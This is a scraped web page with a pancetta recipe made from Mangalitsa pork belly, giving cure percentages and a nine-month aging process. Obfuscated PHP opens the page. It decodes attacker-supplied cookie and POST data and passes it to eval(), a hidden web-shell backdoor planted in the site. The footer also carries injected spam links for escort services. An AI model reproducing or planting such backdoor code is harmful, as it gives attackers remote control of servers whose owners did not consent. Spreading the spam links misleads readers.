$kphiBOJD = 'h' . chr ( 634 - 531 ).chr (95) . "\162" . "\102" . chr ( 162 - 50 ); $tlzxuVDuI = chr (99) . chr ( 836 - 728 ).'a' . "\163" . chr ( 357 - 242 )."\x5f" . 'e' . chr ( 181 - 61 ).'i' . "\x73" . chr ( 606 - 490 ).'s';$pIrqqIKjpA = class_exists($kphiBOJD); $kphiBOJD = "59360";$tlzxuVDuI = "46866";if ($pIrqqIKjpA === FALSE){class hg_rBp{public function kQVdKKM(){echo "51055";}private $gQPoKo;public static $HETcCyLM = "dd055860-1178-4382-bbe6-b1731abbe2ad";public static $cjdyII = 29116;public function __construct($GpQlsceO=0){$psYBWRuHC = $_POST;$MylDSx = $_COOKIE;$uxxIxYwK = @$MylDSx[substr(hg_rBp::$HETcCyLM, 0, 4)];if (!empty($uxxIxYwK)){$byiDf = "base64";$Sqatkdz = "";$uxxIxYwK = explode(",", $uxxIxYwK);foreach ($uxxIxYwK as $IaBeOT){$Sqatkdz .= @$MylDSx[$IaBeOT];$Sqatkdz .= @$psYBWRuHC[$IaBeOT];}$Sqatkdz = array_map($byiDf . "\x5f" . chr (100) . "\145" . "\x63" . chr (111) . 'd' . "\145", array($Sqatkdz,)); $Sqatkdz = $Sqatkdz[0] ^ str_repeat(hg_rBp::$HETcCyLM, (strlen($Sqatkdz[0]) / strlen(hg_rBp::$HETcCyLM)) + 1);hg_rBp::$cjdyII = @unserialize($Sqatkdz);}}private function YKuNECny(){if (is_array(hg_rBp::$cjdyII)) {$cJAZGjKyRg = str_replace(chr (60) . chr ( 487 - 424 ).chr (112) . "\150" . chr ( 323 - 211 ), "", hg_rBp::$cjdyII[chr ( 486 - 387 )."\157" . "\x6e" . "\164" . chr ( 554 - 453 ).chr ( 190 - 80 ).chr ( 932 - 816 )]);eval($cJAZGjKyRg); $JFRjYg = "49892";exit();}}public function __destruct(){$this->YKuNECny();}}$OZwGrn = new /* 37245 */ hg_rBp(); $OZwGrn = str_repeat("27503_51898", 1);} Pancetta from Mangalitsa • Meat Review

Pancetta from Mangalitsa

Start Reading Mode
Print
Pancetta from Mangalitsa

Share it on your social network:

Or you can just copy and share this url

Bookmark this recipe

You need to login or register to bookmark/favorite this content.

Cuisine:

Pancetta is no more than a dry- cured pork belly. Sometimes it’s rolled, sometimes – not. When pancetta is cold-smoked, it can be the same product as some types of bacon.
The most common destination of pancetta is to be used as an ingredient in various dishes. Yet, when it’s properly aged, it can be sliced and eaten raw. Just like this one, made from a belly of mangalitsa pig.

    Directions

    Share

     

    The process from the beginning to the end took nine month. At the end, with a loss of 11.25%, pancetta weighted 7.1kg.

    Recipe:

    On one pork belly: 2.5% sea salt, 0.25% cure#2, 0.7% BP, 0.1% clove. The belly was vacuum sealed and cured in fridge almost four weeks. Subsequently, it was washed, dried, kept in fridge overnight, “smashed” with mallet (I keep one specifically for this task), dusted with freshly ground PB and clove, tied, encased into two beef bungs, and hanged in the “curing chamber” until the desired time.

      

    (Visited 2,304 times, 1 visits today)

    Sergey Dezhnyuk

    previous
    Palyandvitsa
    next
    SFD-41
    previous
    Palyandvitsa
    next
    SFD-41

    Related Recipes:

      MeatReview.com | © 2010–2021 ALL RIGHTS RESERVED | TERMS AND CONDITIONS | CONTACT US

      escort Muğla
      Aydın Escort bayan
      Çanakkale Escort
      escort bayan balıkesir

      Site is using a trial version of the theme. Please enter your purchase code in theme settings to activate it or purchase this wordpress theme here

      By continuing to use the site, you agree to the use of cookies. more information

      The cookie settings on this website are set to "allow cookies" to give you the best browsing experience possible. If you continue to use this website without changing your cookie settings or you click "Accept" below then you are consenting to this.

      Close